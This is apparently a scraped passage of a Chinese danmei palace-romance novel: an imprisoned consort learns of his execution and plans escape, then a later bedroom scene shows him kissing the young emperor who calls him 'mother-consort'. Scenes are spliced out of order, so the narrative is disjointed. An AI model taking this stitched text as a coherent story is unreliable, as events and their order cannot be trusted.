“主子。”周源跪伏在地:“奴才有句话,要带给主子,只是不知该不该现在提起……” “你说。” 周源停顿了一秒,头也不敢抬—— “圣上请您明早去一趟养心殿……” 沈玉衡僵住。宫内。 瓢泼大雨,许太医被两个死士押到冷宫门前,刚一进门,就看见沈玉衡蜷缩在角落的身影。 死士紧紧跟在许太医身后,让他很是为难,转身道:“那个……能请二位离远一点吗?” 死士立刻一脸警惕:“为什么?” “几位身上血腥气太重,沈妃还在病中,嗅到这么大的血味,恐怕不好。” 两个死士并未低头,大雨倾盆,他们身上的血迹被雨水冲刷了一遍又一遍,但仍然透着强烈刺鼻的铁锈味。 萧烬要办成一件事,从来不会允许面前有任何阻碍。如今他要登基,自然要除掉那些锲而不舍妨碍他的对手。 两人虽不想离开,但也知道许太医说的没错,他们临走前,恶狠狠地瞪了一眼看起来胆小孱弱的中年男人。 “别想耍什么小聪明。” “当然,当然。” 许太医低声下气把两个死士哄出去后,赶紧去查看沈玉衡的情况。 他帮沈玉衡配药煎药,扶着他一点点喝下去,期间死士好几次进来检查,确认他真的在老实治病后,终于有点放松警惕了。 喝完姜汤和药汤后,沈玉衡终于动了动眼皮,不那么清醒地睁开了眼。 他眼前有一个模模糊糊的人影,他下意识以为是萧烬,瑟缩着往后退了一点。 许太医小声道:“沈妃,是我。” 沈玉衡听到萧烬以外的熟悉声音,十分惊喜:“许太医?” 许太医点点头,用眼神示意他外面有人,轻声交流。 沈玉衡低声问:“你听到什么风声没有?萧烬还要把我关多久?” “……三日。” “这么快?” 许太医苦笑了一下:“三日后问斩,沈妃。” 沈玉衡愣住了。 他一眨不眨地睁着眼,看清了许太医惋惜的表情,病的胀痛的头脑也变得清醒起来。 三日后,问斩? 沈玉衡怔了很久很久,其实这个结局对他而言,太过正常了。当时萧槐死在莲阁,脖颈上插着他的金莲簪,房间里也只有他一个人。 只是这件事说大可大,说小可小,萧烬只要一句话,就可以让人缉拿真凶,让沈玉衡回到原来的生活。 “沈妃。”许太医突然郑重地喊了他一声,极力压低声音,对他说:“这三日……您要是能想办法出来,就往东面跑,右手边第二道宫门,周源在里面等您。” “太监们私底下有几条出入皇宫的小路,可以送您出去。” 说着,许太医从冷却的药炉里,小心翼翼地捞出一把小刀,交给沈玉衡:“以防万一。” 沈玉衡感激地看了他一眼,刚把这把刀收起来,冷宫那扇破旧的门突然被猛地砸开:“嘀嘀咕咕什么呢?!” 沈玉衡赶紧虚弱地咳嗽了两声,许太医连忙解释,他们刚刚只是在问诊罢了。 一个孱弱太医,一个病秧子,死士打量了他们几眼,没放心上。 他们甚至不理解,医治一个三日后就会死的人,有什么意义。 只有萧烬和成霄知道,三日过后,迎接沈玉衡的会是什么。 在死士带刺的视线里,许太医留下一壶飘着苦味的药,匆匆离开。 沈玉衡蜷缩在被褥里,闭上了眼,他的脸色太差了,以至于骗过了监视他的死士,以为他还病的很重。 他一动不动,把脸埋进了已经有潮味的被褥里。 萧烬的死士一定还在附近盯着他,他们都是千锤百炼出的怪物,他脑袋里一团乱麻,根本不知道怎么在三天内想出一个可行的逃跑计划。 他在那些缠绕的乱七八糟的思绪里兜兜转转,最终又回到起点—— 萧烬居然真的想杀他。 沈玉衡胸口有点堵,他说不上来自己是什么心情。也许在他的潜意识里,他一直觉得萧烬对待他,和对待别人不同。 毕竟,萧烬有太多种羞辱折辱他人的手段,为什么偏偏……用这种方式? 其实这件事仔细想想,就能想通前因后果。沈玉衡会多心是因为他有情//爱的概念,而萧烬……他将这些事,单纯视作一种带有羞辱性质的暴力,所以也不会因此动摇半分。 沈玉衡感觉药效开始褪去,身体又变得冰冷难受了。 他爬起来喝了口药,倒回去继续睡,他知道自己安稳不了太久了。 三天…… 强烈的求生欲冲击着心,他握紧被褥里藏着的那把刀,默默思考着什么。 “圣上还说……” “许久不见,他想看看您了。” 第二天,沈玉衡是被冻醒的。 大雨滂沱,水滴顺着房檐的瓦片一滴滴地往下坠,长满青苔的砖缝,盈满了一个个小水坑。 系统担心地呼唤他:【宿主,你还好吗?】 “还行,感觉好多了。” 他的确好了一些,体温没有那么烫了,只是眼皮仍然沉甸甸的,感觉浑身的力气都被抽干了。 沈玉衡扶着额头,隐约感觉,萧烬可能昨晚来过。可是记忆很模糊,他不确定 沈玉衡看了眼天空,下了这么大的雨,天都是黑的,看不出到底什么时间了。 他翻了个身,想再睡一会,胃里却发出一阵饥肠辘辘的尴尬动静。 回宫后,沈玉衡一直是高度紧张的状态,几乎滴水未进,就去见萧槐了。 现在的他饿的有些脱力,嗓子也是干涸的。 宫里出了这么大的事,沈玉衡不确定是否有人记得他。 他坐在屋檐下,接了一捧雨水喝,嗓子总算舒服了一点。 这时,门外突然传来说话的声音。 他瞬间绷紧了身体,不安地看向门口。 过了一会,有人放下门锁,走了进来。沈玉衡下意识退后一步,不确定迎接自己的会是什么。 走进冷宫的是一个年轻人。 那人穿着家仆的衣服,但一针一线都精细精致,一看就是大户人家的家仆。 他有的时间似乎很紧迫,年轻的家仆连话都来不及说,匆匆往宫里搬运被褥和衣物。 一进来,那人也傻了。看见冷宫里居然连个床榻都没有,四处都潮湿滴水,不禁哀叹一声。 他把被褥衣物放在了木板上,又从怀里掏出了一些容易果腹的食物。 正准备离开,却被沈玉衡一下拉住了手臂。 “你是沈家的人吧?” 那人微微一怔,紧张地看了看四周,点头道:“……是二公子让我来的。” 沈玉衡的眼睛终于有了一点亮光,他急着问:“家里怎么样了?大哥二哥都还好吧?” 那人虽然很紧张,但也知道,不说清楚,沈玉衡是不会放他走的。 他叹了口气,轻声:“最近叛军不安分,长公子还在前线。至于府里……老爷他病倒了,昨晚,二公子彻夜没睡,到处奔走疏通关系,好不容易才把我送进来的。” 他抽出胳膊,无奈摇头:“我也只能来这一次,小公子,您多保重。” “好。”沈玉衡点点头:“大哥留在前线是对的,你让二哥别担心我,我……好歹也算萧烬的母妃,应该会没事的。” 那人犹豫几秒,嗯了一声,总感觉小公子和他记忆里的样子不一样了。 其实沈玉衡说了谎,他也不知道自己能不能活下去。 刺杀皇帝,这大概是天底下最最重的罪过了。萧烬完全可以借由这个机会,让他以最最可怕的方式死去……一个比五马分尸还可怕的死法。 门外守门的宫人催促了好几次,时间已经不容耽误了。 沈玉衡望着那人的背影,忽然想起什么,追过去问道:“是谁联系上沈家的?” “是苏才人。” “不过,二公子原本想让我送苏才人回宫,半路却遇到了苏老爷,硬是逼着他先回苏府一趟……苏才人眼下大概在家中歇着呢。” 沈玉衡一愣。 他回宫前,萧烬曾问过他,被俘的那段时间是否见过什么人。 他如实回答,说自己见到了苏家的苏云正。 沈玉衡很喜欢苏澄这个朋友,但他看过原著,苏家人两面三刀,和叛军联系很深,对待苏澄这个不受宠的庶子只有利用,没有感情。 如果苏澄能和苏家早点断了,也是好事。 以萧烬的速度,苏云正想必已经被他控制住了。萧烬想要套出苏家勾结叛军的所有秘密,只要捏住苏云正,就能够轻而易举地成功。 毕竟他是苏宇常放在心尖上疼爱的嫡子,苏宇常一定发了疯地想要夺回他…… 如果他不想交出情报,他就必须用其他东西,去和萧烬谈判。 而他眼前,就有一个很好的筹码。 沈玉衡的心已经凉了半截。 苏澄很可能出事了。 沈听澜哼了一声:“这小子还是和以前一样混账,要是让爹知道,怕是要被气吐血……玉衡,你的脸怎么那么红?” 沈玉衡心虚地放下酒杯,笑着:“沈将军的藏酒的确好……”他唔了一声,一不小心咬了自己的舌头。 两人或诧异或担忧的视线让他有些不好意思,他捏了捏手指,起身想走。 “不能喝就别喝这么多。”沈云璟过来,扶他起来:“我送你回去。” 沈玉衡想拒绝来着,但那酒的后劲慢慢上来了,他想说的话都嘟囔不清了 晕眩间沈听澜似乎走过来,和沈云璟说了些什么。 然后他被谁抱了起来,轻微的颠簸过后,他回到了已经没有温度的被褥里。 沈云璟和沈听澜似乎在他床边说了什么,他听见他们似乎提起了自己的名字。 他着急想要听清,却又醉的厉害。 滚烫的身体贴着被褥,封闭着温度的小小空间里,逐渐变得温暖。 周围的声音不知不觉消失了。 不知道过了多久,有一只冰凉的手触碰到他的脸颊。 滚烫的脸颊一触碰到凉意,舒服地哼了一声,追着凉意想要碰的更多一点。 那只手僵了一下,没有阻止。 那只手不似沈听澜的细腻,又不似沈云璟粗糙,他睁开眼,平静地对模糊的人影说:“你来啦。” 床边的人安静了须臾,问:“母妃,你喝酒了吗?” 沈玉衡点头,脸颊贴着他的手蹭了蹭:“一点。” 嘴唇贴上了一个薄薄的东西,很快被卷进一个更加湿热的空间。 他连眼睛也忘了闭,就这样木木地睁着眼任他亲了一会,喘/息间才想起来问:“哥……他们让你进来的?” 沈云璟好像说过,今日沈府设了极严密的防备,守卫严加驻守,连只蚊子都飞不进来。 蚊子是防住了,但他们重点要防的人却出现在是自己床边。 萧烬轻笑了一声,不知道是嘲讽还是如何。 好吧,看来是非法入侵…… 扶着他亲吻的少年只穿着一件单薄的黑衣,站在房间里的阴翳中,仿佛与漆黑的影子融为一体,只有眼睛明亮的像天上的灿星似的。 他的视线在那双眼睛里停驻了片刻,轻声道:“你上来吧。” 黑暗里,少年的呼吸停顿了一瞬:“可以吗?”有几分压抑又不敢确定的欣喜漏了出来。 “……外面冷。”三个字还没说完,萧烬就已经环着他的腰,贴在了他的后背上。 沈玉衡感到身后的人在轻轻舔舐他的后颈,小小地挣扎了一下:“累了,不做。” 他觉得少年可能不甘心就这么睡了,但大概是白天喂够了,现在的他就只是抱着他,就足以满足。 他其实睡不着,想等着萧烬先入睡的,可自己却在拥抱里渐渐闭上了眼。 沈玉衡听见自己逐渐均匀的呼吸声。 他其实一直清楚自己想要什么,萧烬所渴望的占有,虽然不是他想要的爱,却在某个角度有过一瞬的重合。 他知道自己是将咽喉交付于野兽的獠牙下,即便萧烬能忍住一时,以他那样多疑嗜血的性格,这一世是否能太平度过,仍然是个未知数。 身后突然传来少年轻声的疑问:“母妃,你睡了吗?” “嗯。” “……你敢骗朕。”少年搂着他腰际的双手紧了紧,含着欲/望的声音:“母妃,朕想亲你。” 他越是后退萧烬越是前进,只要能站下一点点的空间,他都会大刀阔斧地开拓出一片领地,恨不能借着一个拥抱掠夺了所有。 “好。” 说完,沈玉衡回过头。 黑暗中他看见少年骤然睁大的眼,以及眼里映着的他自己,困在一个圆形的小天地里,怪物般地扭曲了。 他闭上眼不去看,凑过去,轻吻少年的唇。 有点软。 里面还藏了一颗尖利的犬牙。 【正文完】魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&